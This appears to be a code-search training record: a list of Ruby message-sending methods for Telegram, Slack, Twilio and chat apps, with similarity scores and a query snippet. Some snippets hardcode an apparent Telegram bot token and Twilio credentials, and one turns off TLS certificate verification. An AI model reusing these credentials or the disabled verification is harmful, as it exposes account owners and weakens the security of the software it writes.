message.allocations\n end", "def add_message(type, text)\n @messages ||= []\n @messages.push({type: type, text: text})\n end", "def send_message(text)\n end", "def add_msg(msg, sender)\n\n @chatters.each do |chatter_id, chatter|\n if chatter_id != sender.id\n chatter.client_socket.puts \"#{sender.id} said: #{msg}\"\n end\n end\n\n end", "def add_message(text,name=nil)\n debug \"add message\"\n puts \"WWWTHUNHEOUTSN\"\n puts @glade['scrolledwindow1'].hadjustment.value\n puts @glade['scrolledwindow1'].hadjustment.upper\n puts @glade['scrolledwindow1'].hadjustment.lower\n @talk.buffer.insert @talk.buffer.end_iter,\"#{name || @contact.name}: \", @nickname_tag\n @talk.buffer.insert @talk.buffer.end_iter, \"#{text}\\n\"\n end", "def sent_telegram( message )\n\tTelegram::Bot::Client.run($telegram_token) do |bot|\n\t\tbot.api.send_message( chat_id: 43716964, text: message)\n\tend\nend", "def send_raw(message)\n @bot.message_queue.push(message)\n end", "def add_to_message_queue(msg_type, socket_send_message)\n #message = [\"#{msg_type}|#{socket_send_message}|\\n\"] # Cria o array de mensagens\n # Verifica todos os objetos em comum e partilha entre os jogadores\n # [:uuid, :x, :y, :direction].each do |instance|\n # # Pega cada instancia do objeto e adiciona na mensagem \n # end\n @messages.push << \"#{msg_type}|#{socket_send_message}\"\n p \"CLIENT: Added to queue: #{@messages}\"\n end", "def message(text)\n @text_queue.push text\n end", "def post_message(text)\n body ={\n \"title\" => @from_name,\n \"picture\" => @from_picture,\n \"message\" => text\n }\n\n self.class.post(room_path, request_options(body))\n end", "def add_message room_name, message\n unless @@room_data[room_name]['messages'].include? message\n messages = @@room_data[room_name]['messages']\n messages.push message\n @@room_data[room_name]['messages'] = messages[-500,500] if messages.length > 500\n end\n \n return if room_name != @room\n scroll_down = @log.scroll_top >= @log.scroll_max - 10\n @log.append do\n flow do\n para strong(message['user']['name'] || message ['user']['id']), ': ', message['message']\n end\n end\n \n while @log.contents.length > 500\n @log.contents.first.remove\n end\n \n @log.scroll_top = @log.scroll_max\n end", "def send_channel(message)\n @bot.message_queue.push(\"PRIVMSG ##{bot.channel.name} :#{message}\")\n end", "def send_text(number, message)\n @client.api.account.messages.create(\n to: number,\n from: 'add phone number',\n body: message\n )\n end", "def post_message(message)\n # https://api.slack.com/methods/chat.postMessage\n # scopes: chat:write\n slack_client.chat_postMessage(\n channel: channel_id,\n thread_ts: slack_ts,\n text: message\n )\n end", "def send_reply(text)\n @bot.api.send_message(chat_id: @last_message.chat.id, text: text)\n end", "def enqueue_message(message); end", "def add_to_message_queue(msg_type, socket_send_message)\n #message = [msg_type] # Cria o array de mensagens\n # Verifica todos os objetos em comum e partilha entre os jogadores\n # [:uuid, :x, :y, :direction].each do |instance|\n # # Pega cada instancia do objeto e adiciona na mensagem \n # end\n @messages.push << \"#{msg_type}|#{socket_send_message}\"\n p \" Messages Push --> #{msg_type}|#{socket_send_message}\"\n end", "def new_message(message)\n if message == \"PING\"\n send(\"PONG\")\n else\n @messages << Message.new(message)\n redraw\n end\n end", "def message(twitt)\n @client.update(twitt)\n end", "def chat_message(message)\n r = Skype.send_command \"CHATMESSAGE #{id} #{message}\"\n ChatMessage.parse_from(r)\n end", "def new_message\n end", "def send_message(data)\n current_user.messages.create!(body: data[\"message\"], chat_room_id: data[\"chat_room_id\"])\n # the next line broadcasts the message without a job. BUT: that is only the message.\n # We want do more :)\n # ActionCable.server.broadcast(\"chat_rooms_channel\", message: data[\"message\"])\n end", "def message(user, text)\n post('/direct_messages/new.json', :user => user, :text => text)\n end", "def message(user, text)\n post('/direct_messages/new.json', :user => user, :text => text)\n end", "def add_message\n\t\tresponse.headers['Content-Type'] = 'text/javascript' # Tells Rails/Redis that content is JavaScript\n\t\troom = current_user.room\n\t\tmessage = params[:message]\n\t\t# -- Add new message to chatroom ---\n\t\t$redis.publish(\"add_message_#{room.id}\", {message: message, author: current_user.username}.to_json)\n\t\t# --- end ---\n\t\trender nothing: true\n\tend", "def update\n conversation = Conversation.find(params[:conversation_id])\n conversation.messages << Message.new(user_id: current_user.id, body: params[:body])\n conversation.save\n\n redirect_to conversation_path(conversation)\n end", "def handle_add_reply( m, params )\n # lame auth check\n # TODO: need to get a look into new auth system\n\n name = params[:name].downcase\n reply = params[:reply].to_s\n\n # check whether good is in database\n# status( name, @stock )\n# if @inreg == false\n# m.reply( \"#{name} does not exist.\" ); return\n# end\n\n # Put data into database, should be understandable ^^\n reply = Reply.new( @replyversion, reply )\n @reply[name] = reply\n\n # save dataset in case the bot crashes an got no chance to do so\n save\n\n m.reply( \"done\" )\n end", "def update\n @message = Message.new(:body => params[:message])\n if Messenger.add_reply(current_user, params[:id], @message)\n return_message(200, :ok)\n else\n return_message(200, :ok, {:err => {:messages => [106]}})\n end\n end", "def push msg\n end", "def update_message(data); end", "def update_message(data); end", "def send_message(message)\n @module_manager.bot.log prefix + message + \"\\e[0m\"\n end", "def send_message(chat_id, message, last_name: \"\")\n\n if chat_id\n #let's party hard!\n HTTParty.post('https://api.telegram.org/bot114815095:AAH0C9oMZKAEG4WMe4eZ9AmYHUZTrnJ1xCc/sendMessage', body: {chat_id: chat_id, text: message})\n else\n print(\"Error! No chat_id\")\n @error = 'Bitte verbinde deinen Telegram-Account für Notifications mit dem <a href=\"https://telegram.me/kryptobot\">Telegram Bot</a>! <p>1. Adde den Bot!</p><p>2. Schicke dem Bot deinen Nachnamen <b>' + last_name + '</b> als Nachricht!</p> '\n end\n\nend", "def send_message msg\n timeline << Spinoza::Event[actor: dst, time: time_now + latency,\n action: :recv, msg: msg]\n end", "def send_message_post_fav_added(subscriber, msg)\n if msg == \"success\"\n text = \"L'annonce a été ajoutée à vos favoris !\"\n response = handle_manychat_response(send_content(subscriber, [create_message_text_hash(text)]))\n elsif msg == \"error_already_exists\"\n text = \"L'annonce est déjà dans vos favoris !\"\n response = handle_manychat_response(send_content(subscriber, [create_message_text_hash(text)]))\n else\n text = \"Oops, il semblerait qu'une erreur se soit produite, l'annonce n'a pas été ajoutée à vos favoris\"\n response = handle_manychat_response(send_content(subscriber, [create_message_text_hash(text)]))\n end\n return response\n end", "def add_message(client_id, data, ttl)\n id = @id_counter.to_s(16)\n @id_counter += 1\n message = MockMessage.new(id, self, client_id, data, ttl)\n @messages << message\n message\n end", "def send_message(message)\n self.broadcast({\n type: \"chat_message\",\n message: message\n })\n end", "def _send_message data\n response << data\n end", "def send_message(data)\n @chatroom = Chatroom.find(data[\"chatroom_id\"])\n message = @chatroom.messages.create(body: data[\"body\"], user: current_user)\n MessageRelayJob.perform_later(message)\n #Rails.logger.info data\n end", "def sendChatMessage(a_to, a_text)\n\t\tp 'JabberClient.sendChatMessage'\n\tend", "def on_newmessage(time, userid, username, msg)\n end", "def send_message(msg)\n send_data({:type => :message, :body => msg})\n end", "def message_received(jid,text)\n debug \"message received from #{jid}\"\n window = message_window_for(jid)\n window.window.show\n debug \"add msg\"\n window.add_message(text)\n end", "def send(message)\n message\n end", "def send_message(mes,token,user_id)\n #Open a direct message\n options = {\n token: token,\n user: user_id\n }\n channel_id = post('https://slack.com/api/im.open', options).channel.id\n\n #Send the message\n options = {\n token: token,\n channel: channel_id,\n text: mes\n }\n post('https://slack.com/api/chat.postMessage', options)\nend", "def say(message)\n if message\n @previous_message = message\n @previous_nickname = @botname\n @responded = true\n message\n end\n end", "def send_message(message_text)\n @selected.send_message(message_text)\n end", "def send_message(_target, text) # rubocop:disable Metrics/AbcSize\n url = \"https://api.gitter.im/v1/rooms/#{config.room_id}/chatMessages\"\n uri = URI.parse(url)\n\n Net::HTTP.start(\n uri.host,\n uri.port,\n use_ssl: true,\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n ) do |http|\n request = Net::HTTP::Post.new(uri.path)\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.add_field('Authorization', \"Bearer #{config.token}\")\n request.body = { 'text' => text }.to_json\n response = http.request(request)\n\n @user_id = MultiJson.load(response.body)['fromUser']['id']\n end\n end", "def new_message(user, message)\n @user = user\n @message = message\n @service = @message.service\n mail(to: @user.email, subject: 'New message sent through SocialPresence')\n end", "def msg_add(c)\n\t@msg_buf << c\n end", "def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end", "def send_msg(conn,args)\n p = @app.get_client(conn) #pega objeto Player da lista de clientes\n unless p.nil?\n @app.broadcast(Message.new('chat','txt',\n {'author' => CGI::escapeHTML(p.to_s), 'msg' => CGI::escapeHTML(args['msg'])}\n )) #envia a mensagem para todos os clientes\n end\n end", "def answer_message(from, to, subject, message, conv_id, mess_id)\r\n conv = self.conversations.fetch(conv_id.to_s)\r\n time = Time.new\r\n message = Message.create(from, to, subject, time, message, mess_id)\r\n conv.add_message(message)\r\n end", "def send_my_message\n account_sid = 'ACe330ba04d082392df4cb3511dcb72cec'\n auth_token = '2008ea097713e401a16c54029058da82'\n @client = Twilio::REST::Client.new account_sid, auth_token\n @client.account.messages.create(\n :from => @from,\n :to => @to,\n :body => @body\n )\n end", "def send_message(payload)\n message = Message.new(author: current_user, text: payload[\"message\"])\n\n ActionCable.server.broadcast \"chat\", message: render(message) if message.save\n end", "def send_message(opts = {})\n @client.update(opts[:message])\n end", "def communicate value\n c = Chat.new\n c.created_at = Time.now\n c.message = value\n self.chats << c\n Player.connected.each { |p| \n p.packet(\"say\", [self.id, \"#{value.make_safe_for_web_client()}\"]) \n }\n c.save\n self.save\n end", "def say(recipient_id, text, quick_replies = nil)\n message_options = {\n recipient: { id: recipient_id },\n message: { text: text }\n }\n\n Bot.deliver(message_options, access_token: ENV['ACCESS_TOKEN'])\nend", "def send_message(bot, server, channel, user, message)\n lang = @config[:lang]\n name = Digest::SHA256.hexdigest (message.to_s + lang)\n message.gsub!(/^\\s+/, \"\")\n if !Dir.exists?(@config[:cache_directory])\n system(\"mkdir -p \\\"#{@config[:cache_directory]}\\\"\")\n end\n\n file = File.join(@config[:cache_directory], \"#{name}\")\n\n # popen3\n if !File.exists?(\"#{file}.mp3\")\n File.write \"#{file}.txt\", message\n\n Open3.popen3(\"perl\", \"simple-google-tts/speak.pl\", lang, \"#{file}.txt\", \"#{file}.mp3\") do |stdin, stdout, stderr, thread|\n error = stderr.read\n message = stdout.read\n if thread.value != 0\n # TODO: Billbot tries to log own DMs and enters a loop\n # user.pm \"Error writing a message for you. Please report this to an admin.\"\n # user.pm \"STDOUT\\n```#{message}```\"\n # user.pm \"STDERR\\n```#{error}```\"\n puts \"Error writing message\"\n puts \"STDOUT\\n#{message}\\n\\nSTDERR\\n#{error}\\n\\n\"\n\n system(\"rm -f \\\"#{file}.txt\\\"\")\n return\n end\n end\n\n system(\"rm \\\"#{file}.txt\\\"\")\n end\n\n if !@voice_queue.has_key?(server)\n @voice_queue[server] = []\n end\n\n if @voice_queue[server].select { |v| v.owner == user }.size >= @QUEUE_SIZE\n puts \"Limit reached for \\\"#{user.username}\\\" on \\\"#{channel}\\\"\"\n return\n end\n\n message = VoiceMessage.new(user, channel, \"#{file}.mp3\")\n message.volume = 1.0\n @voice_queue[server] << message\n end", "def send_to(other_player, msg)\n\t\t\tm = GreyGoo::Message.new({ from: self, to: other_player, text: msg })\n\t\t\tm.save!\n\t\t\tother_player.send_message(m)\n\t\tend", "def raw_send(message)\n TalkerBase.instance.output << \"#{id} send #{message}\"\n end", "def say(recipient_id, text, quick_replies = nil)\n message_options = {\n recipient: { id: recipient_id },\n message: { text: text }\n }\n if quick_replies\n message_options[:message][:quick_replies] = quick_replies\n end\n Bot.deliver(message_options, access_token: ENV['ACCESS_TOKEN'])\nend", "def tweet(bot, nick, message)\n if message.to_s.length > 0\n $log.info \"Tweeting [#{nick}] #{message}\"\n @client.update(\"#{nick} says: #{message}\")\n bot.say \"Tweeted successully, #{nick}\"\n else\n bot.say \"Please provide a message!\"\n end\n end", "def add_message_reaction(data); end", "def message(msg)\n\t\t@messager.message(msg)\n\tend", "def post_tweet(message)\n tweet = Tweet.new(self, message)\n self.tweets << tweet\n end", "def say_to_existing_session(chan, nick, message)\n omegle = @channels[chan]\n return if not omegle\n\n omegle.typing\n # format message\n output = message\n output = \"<%s> %s\" % [nick, message] if(use_nicks?(chan))\n omegle.send(output)\n rescue Exception => e\n $log.debug(\"Error in omeg_send_#{chan}: #{e}\")\n $log.debug(\"#{e.backtrace.join(\"\\n\")}\")\n end", "def send_message\n if self.id != 1\n admin_sender = User.find(1)\n user_receiver = self\n message = Message.new\n message.subject = \"It's Official! You're in.\"\n message.body = \"As a member of the VVI community, you're now able to contact other volunteers directly, share your own experiences online, and stay active in our mission to make the world of international volunteering more transparent, more organized, and more excellent. \n <br /><br />We can't thank you enough for joining the cause! And we're here if you need anything.\n <br /><br />--VolunteerVoice Team\"\n message.recipient = user_receiver\n message.sender = admin_sender\n message.save\n end\n end", "def send_message_to_channel(client, channel_id, title, message)\n client.chat_postMessage(\n channel: channel_id, \n as_user: true,\n text: \"*\" + title + \"*\",\n attachments: [\n text: message,\n color: \"warning\"\n ]\n )\nend", "def msg(message)\n output[:messages] << message\n end", "def add_msg(msg, type = nil)\n ##### local message event\n puts msg\n $stdout.flush\n end", "def send(message)\n info(\"[Smartfocus] Send -> #{message}\")\n end", "def send_message\n unless message_sent\n twilio_client.messages.create(\n from: ENV.fetch(\"TWILIO_PHONE_NUMBER\"),\n to: contact.phone_number,\n body: content,\n )\n update(message_sent: true)\n end\n end", "def deliver(message) \n @channel.send(:add_message, message)\n end", "def send_message\n message = render_to_string(:partial => 'messages/message', :object => @message)\n Juggernaut.send_to_channel(javascript_chat_message(message), @message.channel_id)\n end", "def sendM(message)\n\t\t@conexion.puts(message)\t\n\tend", "def start_command(message)\n user =\n TelegramUser.where(chat_id: message.chat.id).first_or_initialize\n user.chat_id = message.chat.id\n user.name = \"#{message.from.first_name} #{message.from.last_name}\"\n user.save!\n api_send_message(chat_id: message.chat.id,\n text: \"Hello #{message.from.first_name}\")\n end", "def send_message( msg )\n @session.send_message msg\n self\n end", "def msg(message)\n output[:messages] << message\n end", "def add_a_message\n @browser.span(:id=>\"newsharecontent_message_arrow\").fire_event('onclick')\n end", "def add message\n @events[message.sequence] = message\n end", "def write! page, content, message = nil\n unless message\n message = %Q{bot edit with empty message}\n end\n @client.write! page, content, message\n end", "def post( text )\n message = {\n 'time' => Time.now.strftime('%Y%m%d%H%M%S'),\n 'text' => text\n }\n\n data['plans'][me]['messages'] << message\n end", "def send_to_single(pars)\n @message = Message.new(pars)\n @message.sender = current_user\n if @message.save\n flash[:info] = \"Your message has been sent to #{@message.receiver.full_name}\"\n else\n flash[:error] = \"Your message could not be sent to #{@message.receiver.full_name}\"\n end\n end", "def posted(msg, chat)\n @pgsql.exec('UPDATE telechat SET recent = $1 WHERE id = $2', [msg, chat])\n end", "def new_message(message)\n @message = message\n mail\n end", "def rx_message(data)\n\t\t# Get the current user from connection.rb and then create the Message\n\t\tcurrent_user.messages.create(content: data['message'], to_id: nil) # Nil means the global chatroom\n\tend", "def message(handler)\n if handler.bot.debug\n handler.messages.each do |line|\n puts \"> #{line.raw}\"\n end\n end\n\n handler.send_raw('PONG :tmi.twitch.tv') if handler.message.ping?\n end" ]
[ "0.71807367", "0.6894628", "0.68368524", "0.6793057", "0.6793057", "0.67133904", "0.6705784", "0.6675791", "0.6658184", "0.6643782", "0.66180044", "0.6607805", "0.6591836", "0.6574539", "0.65744114", "0.65706927", "0.6564723", "0.65646774", "0.651196", "0.6507823", "0.6447554", "0.64442223", "0.64316547", "0.64055616", "0.6399572", "0.63928527", "0.63870084", "0.6373093", "0.6361433", "0.63248485", "0.6316987", "0.63089675", "0.6291042", "0.627425", "0.62713283", "0.62713283", "0.6269695", "0.62575805", "0.6241286", "0.62073433", "0.62048537", "0.61975247", "0.61975247", "0.6179353", "0.6165968", "0.6126628", "0.6125295", "0.612299", "0.6119657", "0.6117275", "0.6107536", "0.6107223", "0.6103373", "0.6082362", "0.6073204", "0.6072154", "0.60721034", "0.6071125", "0.6069094", "0.6055257", "0.60526496", "0.604078", "0.6034073", "0.60318637", "0.6026555", "0.60234547", "0.6019759", "0.6006389", "0.599958", "0.5999476", "0.59929484", "0.59883666", "0.5987724", "0.5983963", "0.5980787", "0.597269", "0.59673697", "0.59592617", "0.5956924", "0.5945478", "0.59453595", "0.5944553", "0.593803", "0.5929565", "0.59269947", "0.5924093", "0.5922282", "0.59169006", "0.59167904", "0.59125507", "0.5910015", "0.5909583", "0.59082913", "0.589755", "0.58950037", "0.5894592", "0.589331", "0.58911127", "0.58786094", "0.5873631" ]
0.7620624
0
add a message _user_id: sender id
def send_message(_user_id, message, extra_data = {}) messages.create!({sender_id: _user_id, body: message}.merge(extra_data)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_id=(user_id); @message_impl.setUserId user_id; end", "def send_message_to(_user, _message, extra_data = {})\n return if _user.id == id # skip send message to self\n Conversation.get_single_conversation(id, _user.id).send_message(id, _message, extra_data)\n end", "def send_message(to_user, content)\n from_messages.create!(to_user_id: to_user.id, content: content)\n end", "def create\n @message = Message.new params[:message]\n @message.user_id = current_user.id \n @message.save\n end", "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\n end", "def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end", "def user_id\n @message[:user][:id]\n end", "def add_msg(msg, sender)\n\n @chatters.each do |chatter_id, chatter|\n if chatter_id != sender.id\n chatter.client_socket.puts \"#{sender.id} said: #{msg}\"\n end\n end\n\n end", "def sender_user_id=(value)\n @sender_user_id = value\n end", "def other_user(user)\n message = self.messages.first\n message.sender == user ? message.recipient : message.sender\n # I FEEL THIS METHOD COULD BE REWRITTEN IN A MORE EFFICIENT AND SUGAR WAY\n end", "def create\n recipients = User.where(id: params['recipients']) || [User.find_by_id(params[:uid].keys.first)]\n conversation = current_user.send_message(recipients, params[:message][:body], params[:message][:subject]).conversation\n flash[:success] = (I18n.locale == :sw ? \"Ujumbe wako umetumwa\" : \"Your message has been sent\")\n redirect_to conversation_path(conversation)\n end", "def send(fromIdUser,msg)\n #TODO : add exception for the sender!\n @userList.getcontents.each { |user| \n \n user.receiveFromChannel(@id, fromIdUser, msg)\n \n }\n end", "def add_bot_message(message)\n messages.notification.create(sender_id: User.bot_id, body: message)\n end", "def create\n id = name_to_id(params[:message][:user_id])\n if( id != -1)\n params[:message][:user_id] = name_to_id(params[:message][:user_id])\n else\n redirect_to new_message_path, alert: \"Can't find user #{params[:message][:user_id]}\"\n return\n end\n \n @message = Message.new(params[:message])\n \n respond_to do |format|\n if @message.save\n format.html { redirect_to messages_path, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_message(user_id, message)\n @user = User.find(user_id)\n @message = message\n mail(to: @user.email, subject: 'You have a message from')\n end", "def add_recipient(data)\n channel_id = data['channel_id'].to_i\n channel = self.channel(channel_id)\n\n recipient_user = ensure_user(data['user'])\n recipient = Recipient.new(recipient_user, channel, self)\n channel.add_recipient(recipient)\n end", "def create\n @message = Message.new(message_params)\n\n if @message.save\n @user = User.find(@message.user_id)\n @user.messages << @message\n render json: @message, status: :created\n else\n render json: @message.errors, status: :unprocessable_entity\n end\n end", "def send_message\n if self.id != 1\n admin_sender = User.find(1)\n user_receiver = self\n message = Message.new\n message.subject = \"It's Official! You're in.\"\n message.body = \"As a member of the VVI community, you're now able to contact other volunteers directly, share your own experiences online, and stay active in our mission to make the world of international volunteering more transparent, more organized, and more excellent. \n <br /><br />We can't thank you enough for joining the cause! And we're here if you need anything.\n <br /><br />--VolunteerVoice Team\"\n message.recipient = user_receiver\n message.sender = admin_sender\n message.save\n end\n end", "def create\n params[:message][:to] = User.find_by_fullname(params[:message][:to]).id\n @message = Message.new(params[:message])\n @message.from = current_user.id\n @message.seen = false\n if @message.save\n flash[:notice] = \"Message sent\"\n else\n flash[:notice] = \"Message not sent\"\n end\n redirect_to(:action => 'index')\n end", "def send_message\n @message = current_user.messages.build(:sender_id => current_user.id, :recipient_id => params[:id].to_i)\n @message.save\n respond_to do |format|\n format.html # send_message.html.erb\n # format.xml { render :xml => @message }\n end \n end", "def to user_id, message\n return yield false, USER_NOT_FOUND unless user = User.find(user_id)\n return yield false, INVALID_JOINABLE unless joinable_is_valid?\n\n owner_join_request = JoinRequest.where(joinable: @joinable, user_id: user_id, role: member_type).first_or_create\n\n ApplicationRecord.transaction do\n creator_join_requests.update_all(role: member_type)\n\n owner_join_request.update(status: :accepted, role: creator_type)\n\n @joinable.update_attribute(:user_id, user_id)\n end\n\n if message.present?\n ChatServices::ChatMessageBuilder.new(\n user: user,\n joinable: @joinable,\n join_request: owner_join_request,\n params: {\n message_type: :text,\n content: message,\n }\n ).create\n end\n\n yield true\n end", "def respond_message\n @user = current_user\n @note = @user.notes.last\n @receiver = User.find_by_id(@note.created_by)\n # So you have note, you can fine the number created_by\n # Now you have the number, find User with that ID number\n # Now you have user , find the phone number\n twilio_client.messages.create(\n to: @receiver.phone_number,\n from: ENV['TWILIO_PHONE_NUMBER'],\n body: \"Hey #{@receiver.first_name}\n\nYour note to #{@user.first_name} was completed!\n\nMake sure you're logged in before clicking the link:\nhttps://afternoon-basin-78472.herokuapp.com/users/#{@note.users.first.id}/notes/#{Note.last.id}\"\n )\n end", "def user_message(recip, from, from_name, message)\n recipients recip\n from from\n subject \"Message from Weefolio User #{from_name}\"\n sent_on Time.now\n body message\n end", "def register(user_id)\r\n new_mb = MessageBox.create(user_id)\r\n self.message_boxes.store(user_id.to_s, new_mb)\r\n end", "def create\n @message = Message.new(params[:message])\n @message.user = User.find_by_username(params[:username])\n @message.sender = @user\n respond_to do |format|\n if @message.save\n flash[:notice] = 'pesan sudah terkirim.'\n format.html { render :action => \"show\" } \n else\n format.html { render :action => \"new\" }\n end \n end\n end", "def send!(other_user, current_user, mex)\n mails.create!(receiver_id: other_user.id, sender_id:current_user.id, sender_name:current_user.name, message: mex)\n\n end", "def user_id; @message_impl.getUserId; end", "def message_posted(user, message)\n redmine_headers 'Project' => message.project.identifier,\n 'Topic-Id' => (message.parent_id || message.id)\n @author = message.author\n message_id message\n references message.root\n @message = message\n @user = user\n @message_url = url_for(message.event_url)\n mail :to => user,\n :subject => \"[#{message.board.project.name} - #{message.board.name} - msg#{message.root.id}] #{message.subject}\"\n end", "def new_message_admin(from_user, to_user, message)\n @from_user = from_user\n @to_user = to_user\n @message = message\n\n mail(:subject => \"#{@to_user.full_name} has a new message!\")\n end", "def create\n \tparams[:message][:group_id] = params[:group_id]\n @message = Message.new(params[:message])\n\n respond_to do |format|\n if @message.save\n \tcurrent_user.sent_messages << @message\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\n @message = Message.new(message_params)\n @message.user_id = current_user.id\n @message.body = params[:message][:body]\n @message.save\n\n Recipient.create!(:message_id=>@message.id, :user_id=>params[:to_user_id],:sender_id => current_user.id, :receiver_id => params[:to_user_id],:status=>false)\n\n redirect_to \"/profile/#{current_user.id}\"\n end", "def create\n @message = Message.new(message_params)\n @message.sender_id = current_user.id\n @message.recipient_id = params[:recipient_id]\n\n respond_to do |format|\n if @message.save\n flash[:notice] = \"Mesaj gönderildi.\"\n format.json { render json: {success: true} } \n # Pusher.trigger('private-'+params[:recipient_id],'new_message', {:from => current_user.name, \n # :subject => @message.subject})\n else\n flash[:error] = \"Mesaj gönderilemedi.\"\n redirect_to '/'\n end\n end\n end", "def message(user, text)\n post('/direct_messages/new.json', :user => user, :text => text)\n end", "def message(user, text)\n post('/direct_messages/new.json', :user => user, :text => text)\n end", "def set_message\n @message = current_user.all_messages.find(params[:id]) # Can only access own msgs\n end", "def create\n \n @message = current_user.messages.build(params[:message])\n if @message.save\n \n \n @account_sid = 'ACdb43c99b5deb7d4ed12083140f41bab3'\n @auth_token = '11dbb8cbba9b004652469aa77e51183c'\n\n # set up a client to talk to the Twilio REST API\n @client = Twilio::REST::Client.new(@account_sid, @auth_token)\n ha = HashWithIndifferentAccess.new(params[:message])\n mssg = ha['content']\n\n friends = {\n \"+14159006499\" => \"Jered\",\n \"+11111111111\" => \"Chris\",\n \"+11111111111\" => \"Kathryn\"}\n\n @account = @client.account\n @message = @account.sms.messages.create({:to => '+14159006499', :from => '+18319204556', :body => mssg})\n puts @message\n flash[:success] = \"Message created!\"\n redirect_to 'http://www.bugl.co/acknowledge.html'\n\n else\n @feed_items = []\n render 'static_pages/home'\n end\n \n @message = Message.new(params[:message])\n\n respond_to do |format|\n if @message.save\n \n format.json { render json: @message, status: :created, location: @message }\n else\n \n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def message(receiver_uid:, content:)\n new_conversation(receiver_uid) unless conversation_exist?(receiver_uid)\n conversation = Conversation.return(u1_id: @uid, u2_id: receiver_uid)\n conversation.new_message(sender_uid: @uid, content: content)\n end", "def set_recipient\n @recipient = User.find params[:user_id]\n end", "def write_message\n\t\t# sender will be the current user\n\t\t@user = current_user\n\t\t@message = Message.new\n\t\t@message.sender = current_user\n\t\t@unread_messages = Message.find(:all, :conditions => {:receiver_id => current_user.id, :unread => true})\n\t\t# if reciever has been specified, automatically use his/her name in the \"To:\" box\n\t\tif params[:receiver]\n\t\t\t@message.receiver = User.find_by_login(params[:receiver])\n\t\tend\n end", "def set_form\n # find the maximum number of users possible\n @max_count = User.all.count\n # check if a message already exists\n if !(defined?(@message)).nil?\n @sender = @message.sender\n @reciever = @message.reciever\n else # else the message is then being created\n # set the sender as the user creating the message\n @sender = params[:user_id]\n # let user determine the reciever of his message\n @reciever = nil\n end\n \n end", "def send_to_single(pars)\n @message = Message.new(pars)\n @message.sender = current_user\n if @message.save\n flash[:info] = \"Your message has been sent to #{@message.receiver.full_name}\"\n else\n flash[:error] = \"Your message could not be sent to #{@message.receiver.full_name}\"\n end\n end", "def message_params\n params[:sender_id] = @user.id\n params.permit(:chat_id, :sender_id, :text)\n end", "def message_params\n params[:sender_id] = @user.id\n params.permit(:chat_id, :sender_id, :text)\n end", "def send_message(msg)\n\t\t\tdb_update({}, {'$push' => { 'messages' => msg.id.to_db } })\n\t\t\tmessages.add(msg)\n\t\tend", "def create\n @message = Message.new(message_params)\n @user = User.find_by username: @message.recipient\n\n\n respond_to do |format|\n #If we are trying to send a message to a user that doesn't exist we want to let the User know that this is just not on\n if @user.blank?\n flash[:error] = \"The user does not exist\"\n format.html { redirect_to :back}\n format.json { render :show, status: :created, location: @message}\n else\n @message.user_id = @user.id\n\n if @message.save\n flash[:success] = \"Your message has been created\"\n format.html { redirect_to :back}\n format.json { render :show, status: :created, location: @message}\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def new_message(user, message)\n @user = user\n @message = message\n @service = @message.service\n mail(to: @user.email, subject: 'New message sent through SocialPresence')\n end", "def send_message(payload) \n to_user_id = payload['to_user_id']\n body = payload['body']\n message = Message.create!(\n from_user_id: current_user.id,\n to_user_id: to_user_id,\n body: body\n )\n\n MessageBroadcastJob.perform_later(message)\n end", "def add_notification_for_recipient\n # add to notifications\n @activity.recipient_user.friends_notifications.add(@activity.json_blob, score_key)\n # Increment counter\n @activity.recipient_user.notifications_counter.increment\n if @activity.recipient_user != @activity.user\n SendNotificationService.new(@activity.recipient_user, @activity.json_blob).user_notification\n SendNotificationService.new(@activity.recipient_user, @activity.json_blob).friend_notification\n end\n end", "def send_message\n \tuser = User.find(params[:user_id]);\n \tif user\n \t\tmessage = Conversation.new(user_id: params[:user_id], message_id: params[:message_id], request_id: params[:request_id])\n \t\tif message.save\n \t\t\tconversation = Conversation.find_by(request_id: params[:request_id])\n \t\t\trender json: conversation\n \t\tend\n \telse\n\t\trender json: {error: 'User not found.'}\n \tend\n end", "def message_create(message,user)\n @message=message\n @user=user\n mail to: @user.email, subject: \"New Message created for your Message Board (Socail Trip App)\", from:'test@example.com'\n end", "def add(user)\n GroupMembers.new(:id => id).post(user)\n end", "def message_to_blogger\n return if self.user.id == self.blogger.id\n message = self.messages.build(\n is_read: false,\n user_id: self.blogger.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} 回复了你: #{self.content}\"\n )\n message.save\n end", "def update\n @message = Message.new(:body => params[:message])\n if Messenger.add_reply(current_user, params[:id], @message)\n return_message(200, :ok)\n else\n return_message(200, :ok, {:err => {:messages => [106]}})\n end\n end", "def set_message\n @message = current_user.is_support? ? Message.where(id: params[:id]).first : Message.where(user_id: current_user.id, id: params[:id]).first\n end", "def add_friend(sender_id)\n Logger.d(\"Got install referrer : sender_id:#{sender_id}\")\n \n return if sender_id.nil? or sender_id.length == 0\n\n json = {\n :id => sender_id,\n :auth_token => get(:auth_token)\n }.to_json\n\n network_post(CONFIG.get(:add_friend), nil, json, @on_api_call_failed) do |user_object|\n if is_valid_network_user_object?(user_object)\n @data = user_object\n Logger.d(\"Success in @user.add_friend => \" + user_object.to_s)\n serialiaze() # Write the object to persistent storage\n request_ui_refresh \n end\n end \n end", "def broadcast_msg_from( user, msg )\n\t\tuserDesc = user.to_s\n\n\t\t@users.each do |cl|\n\t\t\tnext if cl == user\n\t\t\tcl.add_output( \"#{userDesc}>> #{msg}\" )\n\t\tend\n\tend", "def message_sent(type, text, to = nil)\n msg = message_db.add(\n type: type,\n to: to,\n from: 